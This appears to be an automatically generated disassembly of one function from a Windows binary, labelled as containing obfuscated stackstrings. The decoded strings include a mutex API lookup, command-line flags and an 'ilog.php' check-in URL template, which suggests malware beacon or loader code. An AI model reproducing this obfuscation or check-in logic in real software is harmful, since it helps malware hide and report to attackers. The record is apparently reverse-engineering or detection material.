Function at 0x140017bd4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x488]
sub rsp, 0x588
mov rax, qword [0x1400dc020]
xor rax, rsp
mov qword [rbp + 0x470], rax
mov r15, r9
mov qword [rbp - 0x68], r9
mov rsi, r8
mov qword [rbp - 0x70], r8
mov rbx, rdx
mov qword [rbp - 0x58], rdx
mov r13, rcx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], r8
mov qword [rbp - 0x38], r9
mov rax, qword [rbp + 0x4f0]
mov qword [rsp + 0x68], rax
mov qword [rbp - 0x30], rax
xor r12d, r12d
mov dword [rsp + 0x4c], r12d
mov dword [rbp + 0x409], 0x656e7265
mov dword [rbp + 0x411], 0x6c6c64
mov dword [rbp + 0x40d], 0x2e32336c
mov byte [rbp + 0x408], WSASetLastError
mov dword [rbp + 0x3c2], 0x754d6e65
mov word [rbp + 0x3c6], 0x6574
mov word [rbp + 0x3c9], 0x41
mov word [rbp + 0x3c0], 0x704f
mov byte [rbp + 0x3c8], 0x78
lea rcx, [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x60], rax
test rax, rax
jne 0x140017e26
mov rdx, qword [r13 + 0x18]
mov esi, 0x1000
lea edi, [rax + 0x10]
lea r15d, [r12 + 0x27]
lea r12d, [rax + 0x1f]
cmp rdx, rdi
jb 0x140017d05
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x140017d00
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018dca
mov rcx, r8
call fcn.140026e6c
and qword [r13 + 0x10], 0
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [r13 + 0x18], r14
mov byte [r13], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x140017d4c
mov rcx, qword [rbx]
inc rdx
cmp rdx, rsi
jb 0x140017d47
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018dd0
mov rcx, r8
call fcn.140026e6c
xor r13d, r13d
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r14
mov byte [rbx], r13b
mov rbx, qword [rbp - 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x140017d91
mov rcx, qword [rbx]
inc rdx
cmp rdx, rsi
jb 0x140017d8c
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018dd6
mov rcx, r8
call fcn.140026e6c
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r14
mov byte [rbx], r13b
mov rbx, qword [rbp - 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x140017dd3
mov rcx, qword [rbx]
inc rdx
cmp rdx, rsi
jb 0x140017dce
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018d52
mov rcx, r8
call fcn.140026e6c
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r14
mov byte [rbx], r13b
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x140017e16
inc rdx
mov rcx, qword [rbx]
cmp rdx, rsi
jb 0x140017e11
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018d5e
mov rcx, r8
call fcn.140026e6c
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r14
mov byte [rbx], r13b
jmp 0x1400185e6
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x70], r12
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x78], r14
mov byte [rbp + 0x60], r12b
mov word [rbp + 0x44f], 0x632d
mov dword [rbp + 0x453], 0x752d2073
mov dword [rbp + 0x445], 0x632d2073
mov word [rbp + 0x459], 0x253d
mov dword [rbp + 0x45f], 0x2073253d
mov dword [rbp + 0x466], 0x64253d
mov word [rbp + 0x44c], 0x7325
mov word [rbp + 0x463], 0x722d
mov byte [rbp + 0x44e], 0x20
mov word [rbp + 0x449], 0x6469
mov word [rbp + 0x45c], 0x2d20
mov word [rbp + 0x440], 0x682d
mov byte [rbp + 0x45b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x465], WSASetLastError
mov word [rbp + 0x451], 0x253d
mov word [rbp + 0x443], 0x2d20
mov word [rbp + 0x457], 0x6469
mov byte [rbp + 0x442], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x45e], 0x67
mov byte [rbp + 0x44b], 0x3d
mov rcx, rbx
lea edi, [r14 + 1]
cmp qword [rbx + 0x18], rdi
jb 0x140017ef8
mov rcx, qword [rbx]
mov rax, r13
cmp qword [r13 + 0x18], rdi
jb 0x140017f05
mov rax, qword [r13]
mov r9, r15
cmp qword [r15 + 0x18], rdi
jb 0x140017f11
mov r9, qword [r15]
mov r8, rsi
cmp qword [rsi + 0x18], rdi
jb 0x140017f1d
mov r8, qword [rsi]
mov edx, dword [rbp + 0x500]
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x60]
call fcn.140022e30
lea rdx, [0x1400d1a28]
lea rcx, [rbp]
call fcn.140023e68
nop
mov ebx, r12d
mov dword [rsp + 0x54], ebx
mov esi, 0x1000
mov r15d, 0x27
lea r12d, [r15 - 8]
mov ecx, 1
call fcn.140033aa0
mov qword [rsp + 0x78], rax
xor eax, eax
mov qword [rbp - 0x80], rax
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], r14
mov byte [rbp + 0x80], al
mov dword [rbp + 0x439], 0x253d6526
mov dword [rbp + 0x425], 0x702e676f
mov word [rbp + 0x423], 0x6c69
mov word [rbp + 0x43d], 0x64
mov dword [rbp + 0x42c], 0x73253d69
mov dword [rbp + 0x418], 0x70747468
mov dword [rbp + 0x41e], 0x73252f2f
mov word [rbp + 0x42a], 0x3f70
mov word [rbp + 0x433], 0x7325
mov byte [rbp + 0x429], 0x68
mov word [rbp + 0x41c], 0x3a73
mov word [rbp + 0x436], 0x3d78
mov byte [rbp + 0x422], 0x2f
mov byte [rbp + 0x435], 0x26
mov word [rbp + 0x431], 0x3d70
mov byte [rbp + 0x430], 0x26
mov byte [rbp + 0x438], 0x32
mov dword [rbp + 0x3d0], 0x616f7373
mov dword [rbp + 0x3d4], 0x632e6d70
mov word [rbp + 0x3d9], WSACleanup
mov byte [rbp + 0x3d8], reloc.WS2_32.dll_WSAGetLastError
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x40]
call fcn.140023e68
or dword [rsp + 0x4c], 1
mov r9, r13
cmp qword [r13 + 0x18], rdi
jb 0x140018072
mov r9, qword [r13]
lea r8, [rbp + 0x40]
cmp qword [rbp + 0x58], rdi
cmovae r8, qword [rbp + 0x40]
mov dword [rsp + 0x28], 1
lea rax, str.1af3edf2e0db4686841b9423a14fb240
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x418]
lea rcx, [rbp + 0x80]
call fcn.140022e30
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, rdi
jb 0x1400180db
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, rsi
jb 0x1400180d6
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018d6a
call fcn.140026e6c
xor eax, eax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x20]
call fcn.140021714
nop
mov dword [rbp + 0x3b0], 0x6d697426
mov word [rbp + 0x3b7], 0x64
mov word [rbp + 0x3b4], 0x3d65
mov byte [rbp + 0x3b6], 0x25
call fcn.1400087ec
mov r8d, eax
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp - 0x20]
call fcn.140023268
xor eax, eax
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x40]
call fcn.140021714
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x78]
call fcn.14001a2b8
test al, al
je 0x1400189f3
cmp qword [rbp - 0x80], 0x40000
jb 0x140018b10
lea rcx, [rbp + 0xc0]
call fcn.14000a150
nop
xor ecx, ecx
mov byte [rbp + 0xc0], cl
mov word [rbp + 0x3f2], 0x6230
mov dword [rbp + 0x3ec], 0x31313134
mov dword [rbp + 0x3e2], 0x61343633
mov dword [rbp + 0x3e6], 0x63626237
mov word [rbp + 0x3f8], 0x3165
mov dword [rbp + 0x3fb], 0x65366135
mov word [rbp + 0x3f5], 0x3231
mov word [rbp + 0x3ff], 0x61
mov word [rbp + 0x3e0], 0x3961
mov word [rbp + 0x3ea], 0x6532
mov byte [rbp + 0x3f4], 0x35
mov word [rbp + 0x3f0], 0x3262
mov byte [rbp + 0x3f7], 0x37
mov byte [rbp + 0x3fa], 0x39
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x38], r14
mov byte [rbp + 0x20], cl
lea rax, [rbp + 0x3e0]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], cl
jne 0x14001821f
lea rcx, [rbp + 0x20]
cmp rbx, r14
ja 0x14001824a
mov qword [rbp + 0x30], rbx
mov r8, rbx
lea rdx, [rbp + 0x3e0]
call fcn.140028de0
mov byte [rbp + rbx + 0x20], 0
jmp 0x14001825a
lea r9, [rbp + 0x3e0]
mov rdx, rbx
call fcn.140021a48
nop
xor ebx, ebx
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xb8], r14
mov qword [rbp + 0xb0], rbx
lea r8, [rbp + 0xa0]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc0]
call fcn.140009f88
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, rdi
jb 0x1400182bd
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, rsi
jb 0x1400182b8
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018d70
call fcn.140026e6c
mov rcx, qword [rbp - 0x80]
call fcn.1400273c4
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x44], ebx
lea rcx, [rsp + 0x44]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8d, dword [rbp - 0x80]
mov rdx, qword [rsp + 0x78]
lea rcx, [rbp + 0xc0]
call fcn.140009ce4
mov bl, al
mov rcx, qword [rsp + 0x78]
call fcn.1400337c0
test bl, bl
jne 0x14001860b
mov rcx, qword [rsp + 0x58]
call fcn.140026e6c
nop
lea rcx, [rbp + 0xc0]
call fcn.140021ba4
nop
mov rdx, qword [rbp - 8]
cmp rdx, rdi
jb 0x140018351
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, rsi
jb 0x14001834c
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018d88
call fcn.140026e6c
and qword [rbp - 0x10], 0
mov qword [rbp - 8], r14
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, rdi
jb 0x140018398
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, rsi
jb 0x140018393
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018d8e
call fcn.140026e6c
mov ebx, dword [rsp + 0x54]
inc ebx
mov dword [rsp + 0x54], ebx
cmp ebx, 6
jl 0x140017f68
xor ebx, ebx
mov r13, qword [rbp - 0x60]
lea rcx, [rbp + 0xa0]
call fcn.140023108
nop
cmp qword [rax + 0x18], rdi
jb 0x1400183c7
mov rax, qword [rax]
mov r8, rax
xor edx, edx
mov ecx, 0x100000
call r13
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0xa0]
call fcn.14002189c
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x14001840b
mov rcx, rax
call fcn.140007a70
mov ecx, 0xfa
call fcn.14001f860
inc ebx
cmp ebx, 0xf0
jl 0x1400183b1
call fcn.14001cf10
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, rdi
mov r13, qword [rbp - 0x50]
jb 0x140018449
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, rsi
jb 0x140018444
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018d64
call fcn.140026e6c
and qword [rbp + 0x10], 0
mov qword [rbp + 0x18], r14
mov byte [rbp], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, rdi
jb 0x14001848a
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, rsi
jb 0x140018485
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018dc4
call fcn.140026e6c
and qword [rbp + 0x70], 0
mov qword [rbp + 0x78], r14
mov byte [rbp + 0x60], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x1400184cb
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x1400184c6
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018dca
mov rcx, r8
call fcn.140026e6c
and qword [r13 + 0x10], 0
mov qword [r13 + 0x18], r14
mov byte [r13], 0
mov rbx, qword [rbp - 0x58]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x140018510
mov rcx, qword [rbx]
inc rdx
cmp rdx, rsi
jb 0x14001850b
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018dd0
mov rcx, r8
call fcn.140026e6c
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], r14
mov byte [rbx], 0
mov rbx, qword [rbp - 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x140018553
mov rcx, qword [rbx]
inc rdx
cmp rdx, rsi
jb 0x14001854e
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018dd6
mov rcx, r8
call fcn.140026e6c
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], r14
mov byte [rbx], 0
mov rbx, qword [rbp - 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x140018596
mov rcx, qword [rbx]
inc rdx
cmp rdx, rsi
jb 0x140018591
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018d52
mov rcx, r8
call fcn.140026e6c
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], r14
mov byte [rbx], 0
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x1400185da
inc rdx
mov rcx, qword [rbx]
cmp rdx, rsi
jb 0x1400185d5
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018d5e
mov rcx, r8
call fcn.140026e6c
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], r14
mov byte [rbx], 0
xor al, al
mov rcx, qword [rbp + 0x470]
xor rcx, rsp
call fcn.140026bb0
add rsp, 0x588
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
movsxd rbx, dword [rsp + 0x44]
mov rcx, rbx
call fcn.1400273c4
mov qword [rbp - 0x78], rax
mov r8, rbx
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.140028de0
mov rcx, qword [rsp + 0x58]
call fcn.140026e6c
lea rcx, [rbp + 0x40]
call fcn.140016ec4
nop
mov dword [rsp + 0x48], 0x312e36
lea rcx, [rsp + 0x48]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140018651
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x58], rdi
cmovae rcx, qword [rbp + 0x40]
mov r8, qword [rbp + 0x50]
cmp r8, rax
jne 0x140018688
lea rdx, [rsp + 0x48]
call fcn.1400295a0
test eax, eax
jne 0x140018688
mov dword [rsp + 0x50], 0xa
jmp 0x14001868d
and dword [rsp + 0x50], 0
cmp dword [rbp + 0x500], 2
setne byte [rsp + 0x40]
cmp dword [rbp + 0x500], 3
setne byte [rsp + 0x41]
mov byte [rsp + 0x43], 0
and dword [rsp + 0x44], 0
lea rax, [rbp]
cmp qword [rbp + 0x18], rdi
setae r9b
mov rcx, qword [rbp]
cmovae rax, rcx
lea rdx, [0x1400d1a28]
cmp rdx, rax
jb 0x140018829
lea rax, [rbp]
test r9b, r9b
cmovne rax, rcx
mov r8, qword [rbp + 0x10]
add rax, r8
cmp rdx, rax
ja 0x140018829
lea rax, [rbp]
test r9b, r9b
cmovne rax, rcx
sub rdx, rax
and qword [rbp + 0x20], 0
mov qword [rbp + 0x38], r14
cmp r8, rdx
jb 0x140018d82
sub r8, rdx
or rbx, 0xffffffffffffffff
cmp r8, rbx
cmovb rbx, r8
mov qword [rsp + 0x60], rbx
lea rax, [rbp]
test r9b, r9b
cmovne rax, rcx
add rax, rdx
mov qword [rsp + 0x70], rax
cmp rbx, r14
ja 0x140018756
mov qword [rbp + 0x30], rbx
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140028de0
mov byte [rbp + rbx + 0x20], 0
jmp 0x1400187de
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140018d7c
or rbx, r14
cmp rbx, rax
jbe 0x140018780
mov rbx, rax
movabs rcx, 0x8000000000000000
jmp 0x140018795
mov eax, socket
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, rsi
jb 0x14001879c
call fcn.140021a0c
jmp 0x1400187aa
test rcx, rcx
je 0x1400187a8
call fcn.140026e74
jmp 0x1400187aa
xor eax, eax
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x60]
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x38], rbx
mov r8, rcx
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.140028de0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
mov byte [rax + rcx], 0
mov qword [rbp + 0x20], rax
or dword [rsp + 0x4c], 2
mov rdx, qword [rbp + 0x18]
cmp rdx, rdi
jb 0x140018817
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, rsi
jb 0x140018812
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018d76
call fcn.140026e6c
movups xmm0, xmmword [rbp + 0x20]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rbp + 0x30]
movups xmmword [rbp + 0x10], xmm1
jmp 0x140018832
lea rcx, [rbp]
call fcn.140021834
lea rdx, [0x1400d1a28]
lea rcx, [rbp + 0xa0]
call fcn.140023e68
nop
cmp dword [rsp + 0x44], 0x14
setge byte [rsp + 0x42]
mov rbx, qword [rsp + 0x68]
mov qword [rsp + 0x60], rbx
cmp dword [rsp + 0x50], 0xa
jge 0x1400188b8
cmp qword [rbx + 0x18], rdi
jb 0x14001886f
mov rax, qword [rbx]
mov qword [rsp + 0x60], rax
mov edx, 0x104
lea rcx, [rbp + 0x60]
call fcn.140022570
mov r8, rax
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x38], al
mov al, byte [rsp + 0x41]
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x42]
mov byte [rsp + 0x28], al
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x20], rax
lea r9, [rbp]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rbp - 0x78]
call fcn.1400039d4
jmp 0x14001890d
cmp qword [rbx + 0x18], rdi
jb 0x1400188c6
mov rax, qword [rbx]
mov qword [rsp + 0x60], rax
mov edx, 0x104
lea rcx, [rbp + 0x60]
call fcn.140022570
mov r8, rax
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x38], al
mov al, byte [rsp + 0x41]
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x42]
mov byte [rsp + 0x28], al
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x20], rax
lea r9, [rbp]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rbp - 0x78]
call fcn.14001a400
mov bl, al
mov eax, dword [rsp + 0x50]
inc eax
xor ecx, ecx
cmp eax, 0x14
cmovl ecx, eax
mov dword [rsp + 0x50], ecx
lea rcx, [rbp + 0x60]
call fcn.140023a54
test bl, bl
jne 0x14001893a
mov ecx, 0x1f4
call fcn.14001f860
jmp 0x140018989
and dword [rsp + 0x58], 0
lea rcx, [rbp + 0x20]
call fcn.140023108
nop
cmp qword [rax + 0x18], rdi
jb 0x140018952
mov rax, qword [rax]
mov r8, rax
xor edx, edx
mov ecx, 0x100000
call qword [rbp - 0x60]
mov rbx, rax
lea rcx, [rbp + 0x20]
call fcn.14002189c
test rbx, rbx
jne 0x1400189a9
mov ecx, 0xc8
call fcn.14001f860
mov ebx, dword [rsp + 0x58]
inc ebx
mov dword [rsp + 0x58], ebx
cmp ebx, 0xa
jl 0x14001893f
lea rcx, [rbp + 0xa0]
call fcn.14002189c
mov edx, dword [rsp + 0x44]
inc edx
mov dword [rsp + 0x44], edx
cmp edx, 0x28
jge 0x1400189c2
jmp 0x1400186af
mov rcx, rbx
call fcn.140007a70
mov byte [rsp + 0x43], 1
lea rcx, [rbp + 0xa0]
call fcn.14002189c
mov rcx, qword [rbp - 0x78]
call fcn.140026e6c
nop
lea rcx, [rbp + 0x40]
call fcn.14002189c
nop
lea rcx, [rbp + 0xc0]
call fcn.140021ba4
cmp byte [rsp + 0x43], 0
jne 0x140018a8c
mov ebx, dword [rsp + 0x54]
jmp 0x1400189fd
mov rcx, qword [rsp + 0x78]
call fcn.1400337c0
mov ecx, 0xc8
call fcn.14001f860
nop
mov rdx, qword [rbp - 8]
cmp rdx, rdi
jb 0x140018a3c
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, rsi
jb 0x140018a37
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018db8
call fcn.140026e6c
and qword [rbp - 0x10], 0
mov qword [rbp - 8], r14
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, rdi
jb 0x14001839c
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, rsi
jb 0x140018a82
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018dbe
call fcn.140026e6c
jmp 0x14001839c
mov rdx, qword [rbp - 8]
cmp rdx, rdi
jb 0x140018ac0
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, rsi
jb 0x140018abb
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018d88
call fcn.140026e6c
and qword [rbp - 0x10], 0
mov qword [rbp - 8], r14
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, rdi
jb 0x1400183ab
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, rsi
jb 0x140018b06
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018d8e
call fcn.140026e6c
jmp 0x1400183ab
mov rdx, qword [rbp - 8]
cmp rdx, rdi
jb 0x140018b44
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, rsi
jb 0x140018b3f
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018d88
call fcn.140026e6c
and qword [rbp - 0x10], 0
mov qword [rbp - 8], r14
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, rdi
jb 0x140018b8c
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, rsi
jb 0x140018b86
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018d8e
call fcn.140026e6c
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, rdi
jb 0x140018bc0
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, rsi
jb 0x140018bbb
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018d94
call fcn.140026e6c
and qword [rbp + 0x10], 0
mov qword [rbp + 0x18], r14
mov byte [rbp], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, rdi
jb 0x140018c01
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, rsi
jb 0x140018bfc
add rdx, r15
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r12
ja 0x140018d9a
call fcn.140026e6c
and qword [rbp + 0x70], 0
mov qword [rbp + 0x78], r14
mov byte [rbp + 0x60], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x140018c42
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x140018c3d
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018da0
mov rcx, r8
call fcn.140026e6c
and qword [r13 + 0x10], 0
mov qword [r13 + 0x18], r14
mov byte [r13], 0
mov rbx, qword [rbp - 0x58]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x140018c87
mov rcx, qword [rbx]
inc rdx
cmp rdx, rsi
jb 0x140018c82
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018da6
mov rcx, r8
call fcn.140026e6c
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], r14
mov byte [rbx], 0
mov rbx, qword [rbp - 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x140018cca
mov rcx, qword [rbx]
inc rdx
cmp rdx, rsi
jb 0x140018cc5
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018dac
mov rcx, r8
call fcn.140026e6c
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], r14
mov byte [rbx], 0
mov rbx, qword [rbp - 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x140018d0d
mov rcx, qword [rbx]
inc rdx
cmp rdx, rsi
jb 0x140018d08
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018db2
mov rcx, r8
call fcn.140026e6c
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], r14
mov byte [rbx], 0
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x1400185da
inc rdx
mov rcx, qword [rbx]
cmp rdx, rsi
jb 0x1400185d5
add rdx, r15
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r12
ja 0x140018d58
jmp 0x1400185d2
call fcn.14002d728
nop
call fcn.14002d728
int3
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
int3
call fcn.1400218f8
int3
call fcn.14002162c
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
int3